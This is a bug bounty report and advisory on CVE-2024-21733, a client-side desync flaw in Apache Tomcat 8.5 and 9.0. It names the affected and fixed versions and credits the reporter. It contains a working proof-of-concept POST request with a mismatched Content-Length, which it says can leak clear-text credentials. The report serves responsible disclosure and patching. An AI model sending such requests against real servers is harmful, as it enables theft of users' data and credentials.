Internet Bug Bounty: CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (Client- Side Desync) (CWE: 444)

Apache Tomcat from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43 are vulnerable to client-side de-sync attacks.

Client-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim’s browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.

Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.

PoC:

POST / HTTP/1.1
Host: hostname
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Length: 6
Content-Type: application/x-www-form-urlencoded

X

In some cases, this can leak sensitive data such as clear-text credentials (see attached screenshot).

Credit:
This vulnerability was reported responsibly to the Tomcat security team by xer0dayz from Sn1perSecurity LLC.

History:
2024-01-19 Original advisory

References:
[3] https://tomcat.apache.org/security-9.html
[4] https://tomcat.apache.org/security-8.html

Impact

An attacker can force a victim’s browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.